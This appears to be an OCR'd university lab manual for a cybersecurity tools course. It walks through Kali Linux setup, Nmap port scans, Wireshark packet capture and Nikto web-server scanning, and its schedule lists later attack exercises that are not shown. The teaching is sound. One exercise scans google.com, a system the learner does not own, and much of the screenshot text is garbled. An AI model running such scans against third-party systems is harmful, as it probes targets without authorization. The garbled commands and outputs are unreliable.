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Introduction

Welcome to CYB 192 titled: Cyber Security (Tools) Practical Il.

CYB 192 is a one-credit unit course that has a minimum duration of one semester. It
is a compulsory course for graduate students that are enrolled in BSc Cybersecurity
at the National Open University of Nigeria. The course guides you through the practical
application of some selected tools used in Cyber Security.

Course Competencies

e Ability to identify and recommend the right tool to protect and secure
Information System Infrastructure

¢ Knowledge of the strengths and weaknesses of individual tool

e Detect and Protect System and Network Infrastructure from all forms of cyber
attacks

e Use of command lines in Linux environment

Course Objectives
e To apply cyber security tools to detect, protect or mitigate all forms of attacks
on a network infrastructure
e Classify cyber security tools according to their application areas
e .Ability to recognize various types of threat actors and explore preventive
measures against attack on your I.T infrastructure and other devices

Working through this Course

To successfully complete this course, you need to practice all the experiment that are
listed in table 1.0. You also need to listen to any recommended audio or videos at the
end of each experiment.

The table 1.0 is the list and name of experiments that would be covered in this course.



Table 1.0  Schedule of Experiments

Week No. Activity
Week One Basic Installation and setup

Week Two Basic Installation and setup
Week Three Information Gathering

Week Four  Vulnerability Assessment
Week Five Exploitations
Week Six Password Attacks

Week Seven Wireless Network Attacks

Week Eight Digital Forensics Analysis

Week Nine Revision

Experiment Name
Installation of Kali Linux, Virtual Box etc

Installation of Kali Linux, Virtual Box etc
Network Scanning with Nmap, Network
Packet Analysis with Wireshark
Scanning vulnerabilities in  Web
servers using Nikto and OpenVAS
SQL Injection Attack using SQLmap
and Metasploit

Dictionary and Brute-force attacks
using OPHCRACK

Capturing Packets, De-authenticating
Clients, and Cracking WEP and
WPA/WPAZ2 keys using AirCrack-ng
Analyzing Computer Artifacts and Data
using Autopsy

Revision exercises

Week One Basic Installation and Setup

Experiment 1: Installation of Kali Linux and Virtual Box

Aim: To install and configure Kali Linux and Virtual box which | the platform that will

be use throughout in this practical class.

Objective: To know how to gather information about the networks by using
different n/w reconnaissance tools.

Outcome: At the end of this experiment the learner will be able to:-

Install Kali Linus and other operating system on his/her computer system. The
installation processes will be well understood by the student. You will also know how

to create virtual Machines.

1.1 Hardware / Software Requirements

To install Kali Linux, ensure your system meets the following minimum requirements:

A 64-bit processor
2 GB of RAM (4 GB recommended)

+
*
+ 20 GB of disk space for installation
*

A bootable CD-DVD drive or a USB stick



1.2 Installation Methods

There are several ways to install and run Kali Linux on a target machine. The steps
involved are:

i) Primary OS Installation: This method involves installing Kali Linux as the
main operating system on your computer. This approach provides the best
performance and access to hardware resources.

i) Virtual Machine Installation: Installing Kali Linux in a virtual machine (VM)
using software like VMware or VirtualBox allows you to run Kali alongside
your existing OS. This method is convenient for testing and development
purposes.

Generally, for the beginner, installing Kali into a virtual machine is the best solution
for learning and practicing.

Step 1: Download Kali Linux from: https://www.kali.org/

Step 2: To install Kali Linux in Virtual Machine, you need to install Virtual
Machine in your System. In this class, we are going to use Virtual Box.

1.3 VIRTUAL MACHINES

Virtual machine (VM) technology allows you to run multiple operating systems from
one piece of hardware like your laptop or desktop. This means that you can continue
to run the Windows or MacOS operating system you are familiar with and run a
Virtual Machine of Kali Linux inside that operating system. You don’t need to
overwrite your existing OS to learn Linux.

1.3.1 Virtual Box Installation

Step 1: download VirtualBox at https://www.virtualbox.org/
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When the download has completed, click the setup file as shown in figure 2

x
Welcome to the Oracle VM
VirtualBox 5.2.12 Setup
Wizard
The Setup Wizard will mstall Oracdle VM VirtualBox 5.2. 12 on
your computesr. Cick Next to continue or Cancel to exit the
Setup Waard,
[ next> | [ canced |
Figure 2: Setup Dialogue Wizard
Step 2: Click Next, and you should be greeted with the Custom Setup screen,
as in Figure 3.
3 Oracie VM VirtualBox 5.2.16 Setup ><

Custorm Setup
Select the way you want features to be installed

Clicic on the icons in the tree below to change the way feattres will be installed.

- Orade VM VirtualBox 5.2. 16
.

Thes feature regures SSSKE on your
=) WrtusiBSox Hoet-C hard drive. It has 5 of 3
& - | vwtsalBox Python 2.x Su subfeatres selected. The
subfeatsres free up S0KS on you...

Location: C:Program Files\Orade Wi tualBoox Browse
Version 5.2.16 Disk Usage < Back Cancel
Figure 3: Custom dialogue box

Follow the installation instructions and then Click “Finish” to complete the
installation.



1.3.2 Setting Up Your Virtual Machine

VirtualBox should open once it has installed—if not, open it and you should be greeted
by the VirtualBox Manager, as seen in figure 4.

=y —x—)
T

File Machine Help

Welcome to VirtualBox! -
The left part of this window ksts all virtual madhines and virtual machine ¥

groups on your computer. The list is empty now because you haven't
created any virtual machines yet.

In order to create a new virtual machine, press the New button in the
main tool ber located at the top of the wndow. [
You can press the F1 key to get instant help, or visit www virtuabiox o
for more information and latest naws.

Figure 4.0  VirtualBox Manager

Step 1: Since we will be creating a new virtual machine with Kali Linux, click New
in the upper left corner. This opens the Create Virtual Machine dialog
shown in figure 5.

Step 2: Give your machine a name as Kali and then select Linux from the Type
drop down menu. Finally, select Debian (64 bit) from the third drop down
menu. Click Next, and you’ll see a screen like Figure 6.

Select how much RAM you want to allocate to this new virtual machine.

—— = T — T O
e — — - —
o CTreate Virtual Machine o

- ee——

|
Name and operating system

Hease choose & descrptrve narme for the new virtual mackhene and select the
type of cperatng system yoo mtend to install on it. The name you choose will
be used throughout VirtualBox to identify thes machne |l

Pl ad

Tyoe: | Liwex t £ )

Version: | Debian (65-it)

Expert Mode | | Peext J Cancel
Figure 5: The Create Virtual Machine dialog
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Memory size

Select the amount of memory (RAM) n megabytes to be allocated to the

v tual machine

The recommended memory size 5 1024 ME. l
0 024 ° MB

4MB 8192 MB

Figure 6: Allocating Memory

Step 3: Click Next, and you'll get to the Hard Disk screen. Choose Create
Virtual Hard Disk and click Create.

In the next screen, you can decide whether you want the hard drive you are creating
to be allocated dynamically or at a fixed size. Choose Dynamically Allocated.

Step 4: Click Next, and you’ll choose the amount of hard drive space to allocate
to the VM and the location of the VM as shown in the figure 7.
L im—Sem
L
g Creste Virtual Hard Disk ﬂ

File location and size l

Please type the name of the new virtual hard disk fle nto the box below or dick on the ’
folder icon to sslect a dfferent folder to create the filen

Kah a
Select the size of the vwtual hard disk in megabytes, This size s the it on the amount of w
fie data that a virtual machine will be able to store on the hard disk.

U 25.2G8
4.00 M8 2007E
| Create | Cancel

Figure 7 Allocating Hard Drive Space
The default is 8GB. | will recommend that you allocate 20-25GB at a minimum.

Step 5: Click Create, and you’re ready to go!



1.1.3 Installing Kali Linus on the VM

At this point, you should see a screen like Figure 8. Now you’ll need to install Kali.
Note that on the left of the VirtualBox Manager, you should see an indication that Kali
VM is powered off.

Step 1: Click the Start button (green arrow icon)

Fidle Machine

New Settings Start Machine Tooks Global Toolks

Welcome to VirtualBox!

The left part of this window lists all wtual machines and virtual machine e
Qrouns on your computes

The nght part of this window represents a set of tooks which are asrently
opened (or can be opened) for the curently chosen madne. For a list of
curently avalable tools check the corresponding menu at the right side of
the man tool bar located at the top of the window. This kst wil be
Extended with new ook in fulure reeases
You can press the F1 key o get nstant help, or visit woe wtabox oeg
for more mformation and latest news. ’

Detaids

Tool to cbserve vrrtual machne (VM) detals. Refiects groups of properbes for the currentiy chosen Y™ -!I
and allows basic operations on certain propertes (ke the machine storage devices)

Snapshots

Tool to control virtual machne (VM) snapshots. Reflects snapshots aeated for the asrently selected —
VM and alows snapshot operations ke create, remove, restore (make current) and observe thewr

proper ies. Alows to edt snapshot attributes e name and desoption

Figure 8: The Virtual Box welcome screen

The Virtual Box Manager will then ask where to find the startup disk. You've already
downloaded a disk image with the extension .iso, which should be in your Downloads
folder.

Click the folder icon to the right, navigate to the Downloads folder, and select the Kali
image file as seen in the Figure 9.

i Kah [Powered Off] - Oracle VM VirtualBox

You have the Auto capture k Option tamed on. This wil cause the Virtual Madhine to. (53

t a vwitual optcal disk file or 3 physcal opbical dive containing
t your new virtual machine from

= for startng a computer from and should
U wash to install on the virtual machne
t

Figure 9: Figure 9: Selecting your startup disk

Step 2: Then click Start. Congratulations, you've just installed Kali Linux on a
virtual machine!



1.1.3 SETTING UP KALI

Kali will now open a screen like Figure 10, offering you several startup choices. | will
suggest you use the graphical install.

{8 Kal Running] - Oracie VM VirtualBox L= 2 e
| File Machine View lr\putw AD;:(« Help

have the Auto keyb option turned an. Ths will cause the Virtual to > QSQ

Figure 10:  Selecting the install method

Step 1: Make certain you select the language you are most comfortable working
in and then click Continue.

Step 2: Next, select your location, click Continue, and then select your
keyboard layout.

When you click Continue, Virtual Box will go through a process of detecting your

hardware and network adapters. Just wait patiently as it does so.

Eventually, you will be greeted by a screen asking you to configure your network, as
in Figure 11.

Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,
you can make something up here.

Hostname:

[=x |

Screenshot Go Back

Figure 11:  Figure 11: Entering a hostname

 Continue

The first item it asks for is the name of your host. You can name it anything you please,
but I left mine with the default “kali.”

Step 3: Next, you will be asked for the domain name. It's not necessary to enter
anything here. Click Continue. The next screen, shown in Figure 12, is very important.
Here, you are asked for the password you want to use for the root user.



Set up users and passwords

You need to set a password for ‘root’, the system administrative account. A or lified user

h root access can have disastrous results, so you should take care to choose a root password that is
not oasy to guess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be

disabled and the system's initial user account will be given the power to become root using the “sudo”
command.

Note that you will not be able to see the password as you type it.
Root password

Show Password in Clear

Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to venty:

Show Password in Clear

N Screenshot  Go Back Continue

Figure 12:  Figure 12: Choosing a password

| would suggest that you use a very long and complex password to limit the
ability of an attacker to crack it.

Step 4: Click Continue, and you will be asked to set your time zone. Do so and
then continue with the process.

The next screen asks about partition disks (a partition is just what it sounds like—a
portion or segment of your hard drive). Choose Guided — use entire disk, and Kali
will detect your hard drives and set up a partition automatically.

Step 5: Kali will then warn you that all data on the disk you select will be erased
. but don’t worry! Click Continue.

Step 6: Select All files in one partition.
Step 7: Select Finish partitioning and write changes to disk. Kali will prompt you

once more to see if you want to write the changes to disk; select Yes
and click Continue (see Figure 13).

o (R Oracie "

| Partition disks

It you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed:
SCSIL (0.0, 00 (sda)

The following partitions are going to be formatted:
partition #1 of SCSIL {0, 0,00 (sda) as extd
partition @5 of SCSil (0.0.00 (sda) as swap

Write the changes 1o disks

No

= Vas]

H Screenshot Continue

Figure 13:  Figure 13: Writing changes to disk
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Step 8: Kali will now begin to install the operating system. This could take a
while, so be patient. Once the installation is complete, you will be
prompted as to whether you want to use a network mirror. This really is
not necessary, so click No.

Step 9: Then Kali will prompt you as to whether you want to install GRUB (Grand
Unified Bootloader), shown in Figure 14.

Step 10: A bootloader enables you to select different operating systems to boot
into, which means when you boot your machine, you can boot into either
Kali or another operating system. Select Yes and click Continue.

" [ Oracie i

Ly Install the GRUS boot loader on a hard disk

1t seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: If the installer failed to detect another operating system that is present on your comput

e,
modifying the master boot record will make that operating system temporarily unbootable, though GRUB
can be manually configured later to boot it.

Install the GRUB boot loader to the master boot record?
No

- Yes:

| Screenshot Go Back | continue

Figure 14:  Figure 14: Installing GRUB

On the next screen, you will be prompted as to whether you want to install the GRUB
bootloader automatically or manually.

Step 11: Select Enter Device Manually, as shown in Figure 15.

Install the GRUB boot loader on a hard disk

You need to make the newly installed system bootable, by installing the GRUB boot loader on a bootable
device. The usual way to do this is to install GRUB on the master boot record of your first hard drive. If
you prefer, you can install GRUB elsewhere on the drive, or to another drive, or even to a floppy.

Device for boot loader installation

/devisda (ataVBOX_HARDDISK VBEcf7e 38e-e8f7d 296)

Screenshot Go Back | Continue

Figure 15:  Entering your device manually

On the following screen, select the drive where the GRUB bootloader should be
installed. Click through to the next screen, which should tell you that the installation is
complete.
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Step 12: Congratulations! You've installed Kali. Click Continue. Kali will attempt
to reboot, and you will see a number of lines of code go across a blank,
black screen before you are eventually greeted with Kali 2018’s login
screen, as shown in Figure 16.

Thu 15:51

Figure 16: The Kali Login Screen

Step 13: Log in as root, and you will be asked for your password. Enter whatever
password you selected for your root user.
After logging in as root, you will be greeted with the Kali Linux desktop,
as in Figure 17.

Figure 17:  Figure 17: The Kali home screen
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Week Three: Information Gathering

Introduction

In information gathering, an ethical hacker is trying to learn as much about the target
system as possible. That is, after all, what a true hacker would do: Learn about the
system or network they're trying to infiltrate and then make moves toward hacking
that system. Kali Linus operating system provides these tools to the developer and
penetration testing community to help in gathering and formulating captured data.
Some of the tools are: Nmap, Zenmap, Maltego etc.

Experiment 1: Network Scanning
Aim: To scan a network in order to detect the vulnerabilities on a network. The tool

to be used is Network Mapper (Nmap).

Objective: To carry out detailed, real-time information on our networks and
the devices connected to them.

Outcome: At the end of this experiment the learner will be able to:-

Find detail information about the entire network such as list of active hosts and
open ports, as well as identify the operating system of all connected devices.
3.1 Getting Started with Nmap

Before we start using Nmap in Kali Linux, let's first make sure that we have it
installed. Open up a terminal window and type following command:

sudo apt

Once Nmap is installed, we can start using it to scan our network. The basic syntax of Nmap
is:

nmap [Scan Type] [Options] [Targets]

13



Exercises
Let's take a look at some practical examples of how to use Nmap in Kali Linux.
Exercise 1: To scan port (s)

Nmap is mostly used to scan ports; it scans all ports by default, but we can scan
single, multiple, or within range protocols.

Single port scan:

. Sudo nmap -p21 192.168.56.102
The Syntax is: .

The screenshot for the scan result is:

192 .16!
https g ) at 2821-12-1@ 18:42 IST

PORT STATE SERVICE
T

R
?1/tcp filtered P

Umap done: 1 IP address (1 host up) scanned in 8.28 seconds

Multiple scan ports:
Syntax

Sudo nmap -p21, 80, 443 192.168.56.102

£

Here, we want to scan ports 21, 80 and 443

The screenshot of the scan is shown below:

[j_ 192 .168.56.102

Starting Mmap 7.91 { https nmap.org ) at -12-1@ 18:43 IST
Nmap scan report for 192.1 S6.1a2

Host is up (©.8815s latency).

STATE SERVICE
filtered ftp
red http
'tcp filtered https

MNmap done: 1 IP address (1 host up)
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Exercise 2: Ping Scanning

A ping scan returns information on every active IP on our network. This command
can be used to perform a ping scan:

The syntax is: nmap #

= T I
nmap

lude hosts/metworks
L = Tude 1list from file
ST DISCOVERY
—sL: . simply
—sn i 4 1 disable
—Pn ; hosts :
uUDP or C i e ' giwven ports
and netmask reqguest disco ry probes

[default sometimes ]

stom DNS serw

2 FTP bounce
PECIFICATION AND

LTude—-ports G xclude the
st mode -— X rts tham the default
1 don'"t randomiz
~number most common
ports more common

rsion info

to 9 probes)

debugging )

Exercise 3: nmap -sS for TCP SYN Scan

This command require privilege access and identifies TCP ports. TCP SYN Scan is a
standard method for detecting open ports without going through the Three-way
Handshake process. When an open port is spotted, the TCP handshake is reset
before accomplishment. Hence this scanning is also called Half Open scanning. The
command is captured in the screenshot below:

P e

[sudo] password for
Startimg Mmap 7.91 ( ‘mnmap.org )
Nmap scan report for
Host is up
Not shown:
PORT STATE SERVICE
open domain

Nmap done: 1 IP address (1 host up) scannmed in seconds
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Exercise 4. nmap -sF for FIN Scan

FIN scan transmits packets with a FIN flag to the target machine; therefore, these
frames are abnormal as they are sent to the destination before the Three-way
handshaking process can be completed. If there is no active TCP session, then the
port is formally closed. If the destination machine's port is closed then the RST
packet in the FIN Scan response is reversed.

The syntax is: sudo nmap -sF 192.168.56.102

The command is illustrated in the screenshot below:

[j_ | 192.168.56.182
Starting Mmap 7.91 ( https a rg } at 2021-12-10 18:37 IST

Nmap scan re I

Host is up (@. Latency
All 1088 scanned ports on 192.168.56.102 are closed

Nmap done: 1 IP address (1 host up) scanned in 9.89 seconds

Exercise 5: To know other IP protocols utilized by the Target system

This is the command to compare other nmap scans. This command when applied
look for other IP protocols utilized by the Target system, such as ICMP, TCP, and
UDP. Other additional IP protocol, such as EGP, or IGP may be included.

. sudo nmap -sO 192.168.56.102
The syntax is

The screenshot of the result of the scan is shown below:

Starting Nmap 7.91 (
Mmap scan report for 192
Host is up 2212s la

Not shown: 255 Dpen|¥iltered protocols
PROTOCOL STATE SERVICE
(5] open tcp

MNmap done: 1 IP address (1 host up)

Exercise 6: nmap -v for Verbose Mode

The verbose mode of nmap allows us to get more information from the scan output.
The verbose option does not affect on what happens during the scan; it only modifies
the amount of information that nmap shows on its output.
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~ Sudo nmap -sF -v 192.168.56.102
The syntax is: .

The screenshot of the scan result is presented below:

irting Nmﬂp 7. 91 [ ap.org ) at 2021-12-1@ 18:46 IST
tiating Pin ; ;

1“ 46, /s elapse
z resolution of 1
L DNS resolutiom of 1 ho
Ianljtlng FIN

[

Scanning 192.1

Hn;T is up Ln @@19s latency).
All 100@ scanned ports onm 192.168. are closed

Read data files from: Sfusr/bin/ ../ /nmap
MNmap done: 1 IP address (1 ha: ed in @.13
Raw packets sent: g = 1001 (40 .040KB)

Exercise 7: Scan the Most Popular Ports
This command is especially useful for running Nmap on a home server. It

automatically scans various most popular ports for a host. We can use the following
command to run this command:

nmap -top-ports 20 192.168.1.106
The syntax is: -

The 20 signifies the number of ports to scan. This can be change to any number of
your choice.

Screenshot of the scan result is shown below:
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Cs

Starting Mmap 7.91 ( htt
scan rep Ffor 192.
up (@ : latency ).

92.168.1.186
) at 2@21-12-1@ 18:51 IST

RWICE
filtered

http—-proxy

» address (1 host wup) scanned inm 1.49 seconds

3.2 Getting Started with Wireshark

Wireshark is an open-supply network protocol analyzer that captures, filters and
analyzes community site visitors in actual time. It provides a graphical interface to
visualize and dissect captured packets, identify protocols, and troubleshoot network
problems. Wireshark comes pre-installed in Kali Linus.

Step 1: To open Wireshark in Kali Linus, go to the application icon Kali Linus,
Look for the Wireshark software from the “sniffing and spoofing” and then select
Wireshark and click on it. Alternatively, you can just open the command terminal
directly and type Wireshark as shown below:

root@kali: ~

File Actions Edit View Help

wire5h3r<

Experiment 1: Chosen Interface

You need to choose the interface you want to capture the data. From the dropdown
menu, you will see a many interfaces available. Select ethO as shown in the
screenshot below.

18



= = B >

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools

A0 E©C = BB REB @ « » n -« > M B o o o @

Welcome to Wireshark

..using this filter: [N

biluetoothO

ethO

any

Loopback: lo

bluetooth-monitor

nflog

nfqueue

dbus-system

dbus-session

Cisco remote capture: ciscodump
DisplayPort AUX channel monitor capture: dpawamon
Random packet generator: randpkt
systemd Journal Export: sdjournal

SSH remote capture: sshdump

UDP Listener remote capture: udpdump
Wi-Fi remote capture: wifidump

Wire shark will start to capture the traffic on ethO interface that looks like this:

- Capturing from ethO

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

« > N e >- M B o = o @

Destination
-B864833218 192
.864992125

-B865817307
.874993869
.874994206
.875436121
-966849602
-992732992
-8985259128
-©33372373
-938556163
-938556581
.©39630787
946791938
©61761456
©61762134
862614568
-196605515
291327835
449558567
455693892
455694196
458747330
615656137

(1200 bit
bb: 6d

Exercise 2: To save captured Packets

Suppose we capture packets from WLANO interface. The captured data looks like
this:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN d© = BERERREB @ « > n « > A H oo aojll

Destination Protocol Length

192.168.43.188 35.898471314 142 .250.201.132 QUIC Initial, DCID=77bST1657997e994.
192.168.43.188 35.898502928 142.2560.2061.132 QUIC Initial, DCID=77b9f1657997e994.

a4:c2:6a:91 39.285589548 CenturyXxXinya ARP Who has 192.168.43.1887 Te
CenturyXinya bf:89:6b 39.285611267 ©2:dc:ad4:c2:6 ARP 192.168.43.188 is at 90:de:80
192.168.43.188 40.12493715S5 34.107.243.93 TLSv1.2 Application Data
34.107.243.93 46.312310384 192.168.43.188 TLSv1i.2 Application Data
192.168.43.188 46.312327837 34.107.243.93 TCP 54034 . 443 [ACK] Seqg=46 Ack

19 168.43 45 . 499594014 250.201.132 QUIC Initial, DCID=77b9T1657997e994
192.168.43. 45.499681331 1 256.201.132 QUIC Initial, DCID=77b9f1657997e994.

192._178.22 3 3. 4893136 [F
192.168.43. 6 192.178.24.227 5 - 80

d6:ba 4ac 48.483311923 B8roadcast who has 99.56.102.557 Tell
192.168.43.8 48 .688987050 224.0.0.251 Standard query Ox0000 PTR

Frame 71: 74 on wire (592 < > e 6a 91 89
Ethernet II, Src: CenturyXinya 9: ( - - 3 - 40 00 40 06 59 ce
Internet Protocol Version 4 s C 5 c > ©1 bb S o 00

To save this packets captured from wlanO ,
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Click on the save icon

A window will pop up to choose your file name as shown in the screenshot below:

> B o o o i

Destination Protocol Lengtn Info

-285589548 Wiceshark - Save Capture File As
285611267
-124937155 3 - Look in: froot
-312310384
-312327837 S 34 Computer Name - Sk Date Modified
root
5. 499594014

-593676557

165
7.497686245
497794049

Fite pame:

Save as: Wireshark/... - pcapng

Compress with gzip

You can give it any file name, but by default, Wireshark give it .pcapng format
Click Save when you are done.
Exercise 3: Filtering Packets for analysis

Step 1: Click on the task bar at the top left of the wireshark window

Step 2: Type the type traffic you want to display e.g. tcp as shown in the
screenshot below:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools F
dADAe c RBEBE@E @ « > 0 -« > N ©

tcp

Source
192.168.43.188
E 192 168. 43 188

34. 107 243.93

192.168.43.188

'0 280843436

8.087197827
8.068315528

Destination
1 34.31967.243.93
2 34 107 .243.93

17 18.165.183.64 TLSv1.2

192.168.43.188 6 34.107.243.93 TCP

34.167.243.93 ©.283054837 7 192.168.43.188 TCP 66 443 - 3¢
192.168.43.188 7 .895265673 9 35.201.103.21 TLSv1.2 S Applical
192.168.43.188 7.086832875 10 35.201.103.21  TLSvi.2 aannpt:pm
35.201.103.21 7.107843330 311 192.168.43.188 T1CP 78 443 . 3¢
35.201.103.21 7.135733445 13 192.168.43.188 1CP 66 443 . 3!
'35.201.183.21 7.151886554 14 192.168.43.188 TCP 66 443 . 3!
192.168.43.188 7.151931654 15 35.201.103.21 TCP 66 35514

112 App lical

‘192.168.43.188 218 318.165.183.64  TLSvV1.2 97 Encrypti
18. 165 183.64 19 192 168 .43. 188 TCP 66 443 . 4.
18.165.183.64 8.335698805 20 192.168.43.188 TCP 66 443 ~ 4;
192.168.43.188 8.3357756865 21 18.165.183.64 TCP 66 42422

192.168.43.188 9 .6089255586 22 35.244 .181 .201 TLSv1.2 112 Applical
192.168.43.188 '9.010853787 23 35.244.181.201 TLSV1.2. 97 Encrypti

Exercise 4: Address Filters

If you want to filter a particular network address for analysis:

At the filter bar, Enter the network IP address to be filtered

20



Only IP address that are responsible in the packet would be displayed. Example
ip.addr==192.168.1.1

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODAG cBBRBE @ ¢« »n « > H ooaol

A [ip-2ddr==192.168.134.1

* Time . Destination Protocol Length info

.168,134 .1 8., 980000000 1 224,0,0.251 MDNS 70 Standard
.1 0.000542949 0.0 70 Standard
192.168.134.1 ©.601911224 3 224.0.0.251 MDNS 70 Standard
192.168.134.1 0.002282498 4 224.0.0.251 MDNS 70 Standard
192.168.134.1 ©.602894615 5 224.0.0.252 LLMNR 64 Standard
o | ©.083280430 6.9 64 Standard
.1 0.424146220 0.0 64 Standard
1 0.424146584 0.0 64 Standard
i 192.168.134.1 k 0.424146643 9 192.168.134,255 NBNS 92 Name quei
192.168.134.1 1.012268988 10 224.0.0.251 MDNS 70 Standard
192.168.134.1 1.612929621 11 224.0.0.251 MDNS 70 Standard
192.168.134.1 1.013342682 12 224.0.60.251 MDNS 76 Standard
192.168.134.1 1.013906780 13 224.0.0.251 MDNS 70 Standard
192.168.134.1 1.182851438 14 192.168.134.255 NBNS 92 Name quer
1 192.168.134.1 1.948019964 15 192.168.134.255 NBNS 92 Name quei
192.168.134.1 160.840057217 882 224.0.0.251 MDNS 85 Standard
192.168.134.1 161.854193298 892 224.0.0.251 MDNS 85 Standard
192.168.134.1 378.593424016 1163 239.255.255,.250 SSOP 217 M-SEARCH
192.168.134.1 450.385038439 1194 224.0.0.22 IGMPV3 66 Membersh:
192.168.134.1 450.394067968 1195 224.0.0.22 IGMPV3 60 Membersh:
192.168.134.1 450.413862501 1196 224.0.0.22 IGMPV3 60 Membersh:
192.168.134.1 450.414057781 1197 224.0.0.22 IGMPV3 60 Membersh:
192.168.134.1 450.414378876 1198 224.0.0.22 IGMPV3 60 Membersh:
192.168.134.1 450.416334175 1199 224.0.6,.251 MDNS 74 Standard
192.168.134.1 450.417918607 1200 224.0.0.251 MDNS 84 Standard
B8 q 9189 0.0 4 d

es on wire D bytes captured (560 bits) 01 00 Se
Cc: VMware 00 . st: IPvaAmc 00 3
.168.134.1 .0.0. 00 14

8 .1, C
» User Datagram Protocol, Src Port: 5353, Dst Port: 5353 00 00 00 00 00 €

For more practice, click on these links to watch the YouTube videos. Alternatively
copy and paste the links on your web browser.

Link 1: https://www.youtube.com/watch?v=gTaOZrDnMzQ

Link 2: https://www.youtube.com/watch?v=TkCSr30UojM

Week Four Vulnerability Assesment

Introduction

Vulnerability assessment is a systematic process of identifying, evaluating, and
prioritizing security vulnerabilities in an organization's IT systems, networks,
applications, and other infrastructure components. The goal is to discover
weaknesses that could be exploited by attackers and to recommend measures to
mitigate those vulnerabilities. In this week, the tools we will use to carry out
vulnerability assessment are Nikto and OpenVAS.

Experiment 1: Network scanning with Nikto tool

Nikto is an open-source web server scanner that performs comprehensive tests
against web servers to identify various vulnerabilities and misconfigurations.
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Aim: To scan a web server to detect the vulnerabilities.
Objective: To carry out detailed, real-time vulnerabilities on web servers.

Outcome: At the end of this experiment the learner will be able to:-
Find detail information about all the vulnerabilities and
misconfiguration in a web server.

4.1  Getting started with Nikto tool
Nikto tool is built into Kali Linus. To start Nikto tool:

Step 1: Click on the Kali Linus terminal
Step 2: At the command prompt, type nikto —h

This will give you a list of options to use Nikto tool. This is also the help option of
Nikto tool. The screenshot of the command is shown below:

I 2 L
mm P »E]-|» ¢

File Actions Edit View Help
$ nikto -h
Option host requires an argument

Optiong:
—ask+ Whether to ask about submitting updates
ves Ask about each (default)
no Don't ask, don't send
auto Don't ask, just send
—check6 Check if IPv6 is working (connects to ipv6.google.com
—Cgidirs+ Scan these CGI dirs: "none"”, "all", or values like "/
—-config+ Use this config file
-Display+ Turn on/off display outputs:
Show redirects
Show cookies received
Show all 200/0K responses
Show URLs which require authentication
Debug output
Display all HTTP errors
Print progress to STDOUT
Scrub output of IPs and hostnames
Verbose output
—-dbcheck Check database and other key files for syntax errors
—evasion+ Encoding technique:
Random URI encoding (non-UTF8)
Directory self-reference (/./)
Premature URL ending

SVTMOPWNR

Exercise 1: Performing a Basic Scan

At the command prompt, type nikto —h then followed by the website name or
address

Syntax: nikto —h google.com, then Press enter.

This type of scan will show you all the web vulnerabilities on the google.com website.
The scan result for google.com is as shown in the screenshot below:
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/home/kali
to google.com
Nikto v2.5.0

Multiple IPs found: 142.250.192.78, 2404:6800:4009:829 :: 200e
Target IP: 142 .250.192.78

Target Hostname: google.com

Target Port: 80

Start Time: 2023-04-24 ©06:36:52 (GMT-4)

Server: gws

/: Uncommon header ‘origin-trial' found, with multiple values:
Q3LodoeujZuphAolrnhnPASw4ATAAABfeyJvcmlnaW4iOiJodHRwczovlL3d3dy5nb
9hZCIsImV4cGLlyeSI6GMTY4NTY2Mzk50X0=, Avudr jMZgL7335p1KLV21HolkxdMeI
9eyJvcmlnaW4iOiJodHRwczovlL3d3dy5nb29nbGUuY29t0jQOMyIsImZLYXR1cmUi
FJOXNIKkXNTM5MTKSLCIpcIN1YmMRVbWFpbiI6dHI1ZX0=, ).
+ /: The X-Content-Type-Options header is not set. This could all
erent fashion to the MIME type. See: https://www.netsparker.com/w
—header/
+ Root page / redirects to: http://www.google.com/

Exercise 2: To perform SSL scan
Step 1: At the command prompt, type nikto —h —ssl , then press enter
This command will show you all the vulnerabilities associated with ssl.

The result of the scan is shown in the screenshot below:
SSL Info: Subject: /CN=x.google.com

STIISCRI LS AES_256_GCM_SHA384

Issuer: /C=US/0=Google Trust Services LLC/CN=GTS CA 1C3
Start Time: 2023-04-24 06:37:51 (GMT-4)

Server: gws

/: Uncommon header 'origin-trial' found, with multiple values: (Ap+qNlnLzJDKSmEHjzM5i
N3LodoeujZuphAolrnhnPA8w4ATAAABfeyJvemlnaWsi0iJodHRwczovL3d3dy5nb29nbGUuY29t0jQOMyIsImZ
DhZCIsImV4cGlyeSI6MTY4NTY2Mzk50X0=, AvudrjMZqL7335p1KLV21Ho1kxdMeINOdUI15d0CPz9dovVLCcXk
DeyJvemlnaW4i0iJodHRwczovL3d3dy5nb29nbGUuY29t0jQOMyIsImZ1YXR1cmUi01JCYWNrRm9yd2FyZENhY?2
joXNjkXNTMSMTKS5LCIpcIN1YmRVbWFpbiI6dHI1ZX0=, ).

Exercise 3: Scanning a vulnerability of a particular port
To scan the vulnerability of a port for example port 80,
Step 1: Enter the command as: nikto —h 192.168.135.131 —p 80; Press Enter

The vulnerabilities associated with port 80 will be listed as shown in the screenshot
below:
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/home/kali
192.168.135.131

168.135.131
168.135.131
-01-08 03:17:54 (GMT-5)

(Ubuntu) DAV/2
Db L L .4-2ubuntu5.10

C g r Options header is not present.
XSS-Protection header is not fi This header can hi to th r agent to protect st some forms of XSS

Type-Options r is n . This 1d allow the user t to render t site in a different fashion|
r "tcn' found, with cont list

otiation is a 3 2 http://ww .wisec.it/se|
f

.2.34 is the EOL for the 2.x branch.
hods, this may ¢ a positives.
, suggesting the host is vulnerable to XST
the phpinfo() function was found.

ble. This
3A9-4C7B0O8C10000: e 1tie y tive information certain HTTP requests that
tive information certain HTTP requ
PHP reveals potentially tive information certain HTTP r
s potentially sensitive information

Exercise 4: To save the result of your scan in exercise 3:

Step 1: Type the commands as: nikto —h 192.168.35.31 —p 80 —0 nikto-scan
—f txt then press Enter

This will automatically save the results of your scan in a txt format for further
analysis.

The screenshot is shown below:

/home/kali
